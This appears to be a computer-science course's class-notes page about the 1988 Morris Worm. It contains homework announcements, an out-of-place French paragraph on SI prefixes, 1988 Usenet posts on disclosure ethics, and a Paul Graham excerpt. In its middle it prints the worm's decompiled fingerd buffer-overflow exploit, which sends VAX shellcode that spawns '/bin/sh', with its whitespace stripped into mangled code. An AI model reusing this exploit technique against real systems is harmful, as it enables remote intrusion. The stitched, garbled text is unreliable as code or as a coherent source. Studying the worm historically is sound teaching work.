Problem Set 3 is due on Monday, 3 March. Everyone should have a team formed for PS3 now and be making progress on it soon!
Thursday's class will be a project work day. Take advantage of this opportunity to coordinate with your team and make progress on PS3. (Dave is out of town Wednesday-Friday. Several of the TAs will come to class Thursday and be available to help with PS3.)
You should have your team formed for PS3 now. If you are having trouble forming a team, make sure I know about it by the end of today.
Les noms zepto et zetta évoquent le chiffre sept (septième puissance de 103) et la lettre « z » remplace la lettre « s » pour éviter le double emploi de la lettre « s » comme symbole. Les noms yocto et yotta sont dérivés de octo, qui évoque le chiffre huit (huitième puissance de 103) ; la lettre « y » est ajoutée pour éviter l'emploi de la lettre « o » comme symbole à cause de la confusion possible avec le chiffre zéro.
So there you have it: The single Greatest Piece of Software Ever, with
the broadest impact on the world, was BSD 4.3. Other Unixes were
bigger commercial successes. But as the cumulative accomplishment of
the BSD systems, 4.3 represented an unmatched peak of innovation. BSD
4.3 represents the single biggest theoretical undergirder of the
Internet. Moreover, the passion that surrounds Linux and open source
code is a direct offshoot of the ideas that created BSD: a love for
the power of computing and a belief that it should be a freely
available extension of man's intellectual powers--a force that changes
his place in the universe.
Morris Worm code to exploit fixed size buffer in BSD 4.3 fingerd.
...statictest_connection(rdfd,wrfd,time)/*x476c,<waithit+2278>*/intrdfd,wrfd,time;{charcombuf[100],numbuf[100];sprintf(numbuf,XS("%d"),random()&0x00ffffff);sprintf(combuf,XS("\n/bin/echo %s\n"),numbuf);send_text(wrfd,combuf);returnwait_for(rdfd,numbuf,time);}.../*Thisroutineexploitsafixed512byteinputbufferinaVAXrunning*theBSD4.3fingerdbinary.Itsend536bytes(plusanewline)to*overwritesixextrawordsinthestackframe,includingthereturn*PC,topointintothemiddleofthestringsentover.Theinstructions*inthestringdothedirectsystemcallversionofexecve("/bin/sh").*/statictry_finger(host,fd1,fd2)/* 0x49ec,<just_return+378 */structhst*host;int*fd1,*fd2;{inti,j,l12,l16,s;structsockaddr_insin;/* 36 */charunused[492];intl552,l556,l560,l564,l568;charbuf[536];/* 1084 */int(*save_sighand)();/* 1088 */save_sighand=signal(SIGALRM,justreturn);for(i=0;i<6;i++){/* 416,608 */if(host->o48[i]==0)continue;/* 600 */s=socket(AF_INET,SOCK_STREAM,0);if(s<0)continue;bzero(&sin,sizeof(sin));sin.sin_family=AF_INET;sin.sin_addr.s_addr=host->o48[i];sin.sin_port=IPPORT_FINGER;alarm(10);if(connect(s,&sin,sizeof(sin))<0){alarm(0);close(s);continue;}alarm(0);break;}if(i>=6)return0;/* 978 */for(i=0;i<536;i++)/* 628,654 */buf[i]='\0';for(i=0;i<400;i++)buf[i]=1;for(j=0;j<28;j++)buf[i+j]="\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];/* constant string x200a0 *//* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b *//* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */l556=0x7fffe9fc;/* Rewrite part of the stack frame */l560=0x7fffe8a8;l564=0x7fffe8bc;l568=0x28000000;l552=0x0001c020;#ifdef sunl556=byte_swap(l556);/* Reverse the word order for the */l560=byte_swap(l560);/* VAX (only Suns have to do this) */l564=byte_swap(l564);l568=byte_swap(l568);l552=byte_swap(l552);#endif sunwrite(s,buf,sizeof(buf));/* sizeof == 536 */write(s,XS("\n"),1);sleep(5);if(test_connection(s,s,10)){*fd1=s;*fd2=s;return1;}close(s);return0;}
From: [email protected]
Newsgroups: comp.protocols.tcp-ip
Subject: (none)
Message-ID: <[email protected]>
Date: 3 Nov 88 08:34:13 GMT
Sender: [email protected]
Organization: The Internet
Lines: 19
A Possible virus report:
There may be a virus loose on the internet.
Here is the gist of a message Igot:
I'm sorry.
Here are some steps to prevent further transmission:
1) don't run fingerd, or fix it to not overrun its stack when reading
arguments.
2) recompile sendmail w/o DEBUG defined
3) don't run rexecd
Hope this helps, but more, I hope it is a hoax.
qui
From: [email protected] (a.v.reed)
Newsgroups: comp.protocols.tcp-ip,comp.unix.wizards
Subject: Re: a holiday gift from Robert "wormer" Morris
Summary: What professionalism is all about
Message-ID: <[email protected]>
Date: 8 Nov 88 18:53:31 GMT
References: <[email protected]> <[email protected]> <[email protected]>
Distribution: na
Organization: AT&T, Middletown NJ
Lines: 25
In article <[email protected]>, dre%[email protected] (David Emberson) writes:
< In article <[email protected]>, [email protected] (Steve Elias) writes:
< > "Wormer" Morris has quite a career ahead of him, i'll bet.
< > he has done us all a favor by benevolently bashing bsd 'security'.
<
< I knew about this sendmail bug at least four years ago, courtesy of Matt
< Bishop (now at Dartmouth). He wrote a paper detailing at least a half dozen
< holes in the Unix system and methods for constructing trojan horses which was
< so dangerous that he responsibly decided not to publish it, but instead to
< give selected copies to people who could fix some of the problems. He also
< wrote an article for the Usenix newsletter, ;login, which explained how to
< write secure setuid shell scripts--a major source of security holes. Matt did
< not "benevolently bash" anyone's machines. His behaviour, while unsung by
< the press and the Usenet community, is an example of the highest in profession-
< al and academic standards. This is the kind of behaviour that we should be
< extolling.
Really? In my book, a key component of professionalism is "owning
the problem". That means you work it until it gets fixed. "Giving
selected copies to people who could fix some of the problems"
(they didn't) is not enough. Morris did what was necessary to get
the problems fixed. For that, many of us are grateful. And yes,
some of us LIKE people who "own the problem" until it is solved.
Adam Reed ([email protected])
Received: from ucbvax.Berkeley.EDU by SRI-NIC.ARPA with TCP; Mon, 14 Nov 88 00:22:51 PST
Received: by ucbvax.Berkeley.EDU (5.59/1.31)
id AA11507; Sun, 13 Nov 88 09:16:06 PST
Received: from USENET by ucbvax.Berkeley.EDU with netnews
for [email protected] ([email protected])
(contact [email protected] if you have questions)
Date: 13 Nov 88 14:40:11 GMT
From: [email protected] (Sean McLinden)
Organization: Decision Systems Lab., Univ. of Pittsburgh, PA.
Subject: Re: Crackers and Worms
Message-Id: <[email protected]>
References: <[email protected]>, <[email protected]>, <[email protected]>
Sender: [email protected]
To: [email protected]
I feel, in part, responsible for some of this discussion since I commented
that the bug(s) were well known by many system programmers prompting the
response "Well I didn't know about it?" or "Why didn't you tell anyone?"
It is clear from Rick Adams' comments that 'not wanting to tip anyone off'
is no excuse. Even binary-only sites can be protected fairly rapidly if
the appropriate channels are used.
Specifically:
fingerd.c: This bug (the use of gets() with a fixed buffer size), is
commonly used as an example of poor programming technique in C programming
courses. There are a lot of these in user contributed software and a
few more were present in earlier versions of Berkeley unix. It didn't
occur to me to look for it in daemon sources until we detected the worm
because I never really had occasion to look at fingerd, but problematic
nature of that particular programming style is well known. One problem
may be that many people learn C by example, not formal instruction. In
that mode, you look more towards what can go right than what can go
wrong. Perhaps someone could write a book on 'How NOT to program in C!'
...
Most of my system work is goal-oriented. My default mode is not to
be always thinking "How can I exploit this to invade thousands of
machines across the country?". The best I am capable of is to remember
those things that I have noticed in the past and reconsider then in
light of a new context (that of a security problem). Now I am prompted
to look more closely at sources, not with the idea of making things
more efficient, but with the goal of making them more secure.
In the 14th century Marco Polo brought Chinese technology to the west.
In particular, he brought fireworks which the Chinese had used to amuse
themselves for centuries. It was Western culture that first exploited
this technology for warfare. The Chinese had only peaceful applications
in mind.
It accomplishes little to flame those people who knew the flaws of
BSD anymore than it does to blame the Chinese for modern warfare. Maybe
we should all be a little more suspicious (after what has happened
we probably will be). The point is that that what happened with the
worm could be attributed as much to the mindset of the Unix community
as to Morris' programming skills (probably more so the former). What
seems to be obvious problems in the system are only so in the context
of their exploitation by people with different orientations than
ourselves. It was an oversight (and I, for one, am reassured), that
the potential for harm did not occur to all of us, earlier.
There are people whose job it is not to promote open systems but to do
nothing but determine what are the security problems with any system.
They constantly operate in the mindset of someone attempting to
break a system. They work for industry, DoD, NSA, the FBI, and a lot
of speciality security firms. A better question is: If those people
knew why didn't THEY tell anyone?
Sean McLinden
Decision Systems Laboratory
Paul Graham,
Undergraduation: (if you
don't know what you should be doing in college, or what you want to do
when you "grow up", the whole essay is very much worth reading!)
So it's kind of misleading to ask whether you'll be at home in grad
school, because very few people are quite at home in computer
science. The whole field is uncomfortable in its own skin. So the fact
that you're mainly interested in hacking shouldn't deter you from
going to grad school. Just be warned you'll have to do a lot of stuff
you don't like.
Number one will be your dissertation. Almost everyone hates their
dissertation by the time they're done with it. The process inherently
tends to produce an unpleasant result, like a cake made out of whole
wheat flour and baked for twelve hours. Few dissertations are read
with pleasure, especially by their authors.
But thousands before you have suffered through writing a
dissertation. And aside from that, grad school is close to
paradise. Many people remember it as the happiest time of their
lives. And nearly all the rest, including me, remember it as a period
that would have been, if they hadn't had to write a dissertation.
The danger with grad school is that you don't see the scary part
upfront. PhD programs start out as college part 2, with several years
of classes. So by the time you face the horror of writing a
dissertation, you're already several years in. If you quit now, you'll
be a grad-school dropout, and you probably won't like that idea. When
Robert got kicked out of grad school for writing the Internet worm of
1988, I envied him enormously for finding a way out without the stigma
of failure.
Note that Morris did have to serves three year probation, 400 hours of
community service, and pay at $10,000 fine. So, as much as Paul Graham
envies his approach, I definitely would not recommend it to anyone!
(and punishments are much more severe now). (Robert Morris, Jr. did end
up finishing his PhD and is now a professor at MIT, currently teaching a
graduate Distributed Systems
Course, where
students are doing
assignments using
a wacky, new language with limited documentation that does not make it
convenient to write code that contains easily exploitable buffer
overflow vulnerabilities!)